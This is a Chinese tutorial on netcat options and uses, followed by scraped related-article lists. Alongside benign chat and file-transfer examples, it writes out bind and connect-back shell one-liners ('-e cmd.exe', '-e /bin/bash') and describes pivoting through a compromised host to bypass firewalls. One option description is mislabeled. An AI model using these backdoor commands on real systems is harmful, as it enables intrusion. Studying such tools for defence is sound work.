netcat命令选项

本文参考文章链接

本文参考文章链接1

本文参考文章链接2

本文参考文章链接3

常用命令选项

## 网络模式和代理相关
-l 监听,作服务器。不填时作客户端。
-u UDP模式。不填时默认TCP模式。
-X 和 -x 是代理相关的选项 ## 其余常用选项
-v verbose模式,打印更多日志
-z 连接以后就断开,用于测试网络连接是否连通 //探测端口的连通性
-w 超时时间,单位是秒
-s 指定source addr
-p 指定source port
-n 只识别IP地址,不查询DNS
-k 处理完一个请求之后,继续监听下一个
-d 脱离命令行窗口,在后台运行,常用于后门建立的过程
-e 执行某个程序,常用于后门建立的过程
-L 设置netcat处于监听状态等待链接,当客户端断开,服务器依旧回到等待状态

基本全部命令选项

用法:

ncat [选项] [主机名] [端口]

花费时间的选项以秒为单位。 附加“ ms”毫秒,“ s”表示秒,“ m”表示分钟,或“ h”表示小时(例如500ms)。

-4    仅使用IPv4

-6    仅使用IPv6

-U, --unixsock 仅使用Unix域套接字

	--vsock 仅使用vsock套接字

-C, --crlf 将CRLF用于EOL序列

-c, --sh-exec <command> 通过/bin/sh执行给定命令

-e, --exec <command> 执行给定命令

	--lua-exec <filename> 执行给定的Lua脚本

-g hop1[,hop2,...] 松散的源路由跳跃点(最大8个)

-G <n> 松散的源路由跳跃指针(4、8、12,...)

-m, --max-conns <n> 最大<n>同时连接

-h, --help 显示此帮助屏幕

-d, --delay <time> 在读/写之间等待时间

-o, --output <filename> 将会话数据转储到文件中

-x, --hex-dump <filename> 将会话数据以十六进制形式转储到文件中

-i, --idle-timeout <time> 空闲读/写超时时间

-p, --source-port port 指定要使用的源端口

-s, --source addr 指定要使用的源地址(不影响-l)

-l, --listen 绑定并监听传入的连接

-k, --keep-open 在侦听模式下接受多个连接

-n, --nodns 不通过DNS解析主机名

-t, --telnet 回答Telnet协商

-u, --udp 使用UDP代替默认TCP

	--sctp 使用SCTP代替默认TCP

-v, --verbose 使用SCTP代替默认TCP

-w, --wait <time> 连接超时时间

-z   零I/O模式,仅报告连接状态

1. 模拟聊天

  • 服务器
nc -l -p [端口号]
  • 客户端
nc [服务器ip] [服务器端口]

2.Banner抓取方法

  • Banner是一个文本,Banner是一个你连接的服务器发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。
echo "" | nc -v -n w1 [target_ip] [开始端口-结束端口]

3.文件传输

从客户端传输文件到服务器

  • 服务器
nc -l -p [端口号] > out_filename
  • 客户端
nc [目标IP] [目标端口] < in_flimename

从服务器传输文件到客户端

  • 服务器
nc -l -p [端口号] < in_filename
  • 客户端
nc [目标IP] [目标端口] > out_flimename

4.目录传输(与文件传输类似)

  • 服务器
tar -cvf - dir_name | nc -l [port_id]
  • 客户端
nc -n [target_ip] [target_port] | tar -xvf -

5. windows建立后门的方法

服务器——监听型后门

nc -l -p [port_id] -e cmd.exe

客户端——连接型后门

nc [target_ip] [target_port] -e cmd.exe

6、Linux下建立后门

服务器——监听型后门

nc -l -p [port_id] -e /bin/bash

客户端——连接型后门

nc [target_ip] [target_port] -e /bin/bash

7、连接转发

  • 可以解决的问题
  1. 对于无法访问内网特定机器的问题,我们可以先抓取内网一台机器,然后利用这台弱鸡进行端口转发,接受外网的数据,将数据转发到内网目标机器的特定端口。
'''假设机器A和机器B是内网机器,机器B是我们的目标机器,机器C是外网机器,机器C和机器A是出于同一网段的,可以互相访问,机器C不可以访问机器B'''# bat文件中的内容: nc [ip_B] [port_B]A: nc -l -p [port_A] -e XX.batB: nc -l -p [port_B] C: nc [ip_A] [prt_A]
  1. 对于防火墙禁止访问某些端口的问题,比如3389端口,我们可以将利用机器的3000端口做端口转发,从外界接受数据,转发给本机的3389端口,从而绕过防火墙。
## 原理同上

8、反弹shell

Netcat基础使用的更多相关文章

  1. Kali Linux渗透基础知识整理(四):维持访问

    Kali Linux渗透基础知识整理系列文章回顾 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限.使用木马程序.后门程序和rootkit来达到这一目的.维持访问是一种艺术形式 ...

  2. NetCat使用手册

    简介:   在网络工具中有“瑞士军刀”美誉的NetCat(以下简称nc),在我们用了N年了至今仍是爱不释手.因为它短小精悍(这个用在它身上很适合,现在有人已经将其修改成大约10K左右,而且功能不减少) ...

  3. 大数据基础知识问答----spark篇,大数据生态圈

    Spark相关知识点 1.Spark基础知识 1.Spark是什么? UCBerkeley AMPlab所开源的类HadoopMapReduce的通用的并行计算框架 dfsSpark基于mapredu ...

  4. Kali Linux Netcat 学习 与 网络攻击

    Netcat 网络攻击 以及 应用 1.用Netcat进行黑客攻击第1部分:基础知识 Netcat是一个很好的网络实用程序,用于使用TCP和UPD协议读取和写入网络连接.Netcat通常被称为网络工具 ...

  5. spark基础知识

    1.Spark是什么? UCBerkeley AMPlab所开源的类HadoopMapReduce的通用的并行计算框架. dfsSpark基于mapreduce算法实现的分布式计算,拥有HadoopM ...

  6. Wireshark、Netcat

    Wireshark Wireshark是一个网络数据包分析软件,功能是截取网络数据包,并尽可能显示出最为详细的网络数据包数据.为了安全考虑,wireshark只能查看封包,而不能修改封包的内容,或者发 ...

  7. 最全的spark基础知识解答

    原文:http://www.36dsj.com/archives/61155 一. Spark基础知识 1.Spark是什么? UCBerkeley AMPlab所开源的类HadoopMapReduc ...

  8. 20145205武钰_Exp5 MSF基础应用

    20145205武钰_Exp5 MSF基础应用 实验后回答问题 exploit:这个词本身只是利用,但是它在黑客眼里就是漏洞利用.有漏洞不一定就有Exploit(利用).有Exploit就肯定有漏洞. ...

  9. 《Python黑帽子:黑客与渗透测试编程之道》 网络基础

    TCP客户端: 示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名 SOCK_STREAM参数表示是一个TCP客户端.访问的URL是百度. #coding=utf-8 i ...

随机推荐

  1. vue 快速入门 系列 —— vue-router

    其他章节请看: vue 快速入门 系列 Vue Router Vue Router 是 Vue.js 官方的路由管理器.它和 Vue.js 的核心深度集成,让构建单页面应用变得易如反掌. 什么是路由 ...

  2. The Data Way Vol.2 | 做个『单纯』的程序员还真不简单

    关于「The Data Way」 「The Data Way」是由 SphereEx 公司出品的一档播客节目.这里有开源.数据.技术的故事,同时我们关注开发者的工作日常,也讨论开发者的生活日常:我们聚 ...

  3. 多项式(polynomial)

    多项式(polynomial) 题目大意: 给出一个 n 次多项式 \(f(x)=\sum_{i=0}^na_ix^i\) 对于\(k ≤ x ≤ k + l − 1\) 的\(l\) 个\(x\), ...

  4. Java---String和StringBuffer类

    Java---String和StringBuffer类 Java String 类 字符串在Java中属于对象,Java提供String类来创建和操作字符串. 创建字符串 创建字符串常用的方法如下: ...

  5. 【c++ Prime 学习笔记】第4章 表达式

    表达式由一个或多个运算对象组成,对表达式求值返回结果. 字面值和变量是最简单的表达式 把运算符和运算对象组合可得到复杂表达式. 4.1 基础 4.1.1 基本概念 一元运算符作用于一个对象,如取地址符 ...

  6. Microsoft Porject Online 学习随手记一:环境创建和数据导入

    没有想像的简单,也没那么复杂 Project OL之前是Dynamics 365 Enterprise P1中的一个模块,目前最新版本只能简单创建并且已经没有Enterprise P1选项. 主要流程 ...

  7. BUAA 2020 软件工程 结对项目作业

    Author: 17373051 郭骏 3.28添加:4.计算模块接口的设计与实现过程部分,PairCore实现的细节 项目 内容 这个作业属于哪个课程 2020春季计算机学院软件工程(罗杰 任健) ...

  8. seata序列化日期类型出错

    一.背景 最近在整合seata的过程中,发现如果业务表中存在 datetime 的数据类型,那么在分布式事务中,修改这个字段的值时,会出现如下错误.此处提供2种解决方案. com.fasterxml. ...

  9. 2021.7.29考试总结[NOIP模拟27]

    T1 牛半仙的妹子图 做法挺多的,可以最小生成树或者最短路,复杂度O(cq),c是颜色数. 我考场上想到了原来做过的一道题影子,就用了并查集,把边权排序后一个个插入,记录权值的前缀和,复杂度mlogm ...

  10. 第33篇-方法调用指令之invokeinterface

    invokevirtual字节码指令的模板定义如下: def(Bytecodes::_invokeinterface , ubcp|disp|clvm|____, vtos, vtos, invoke ...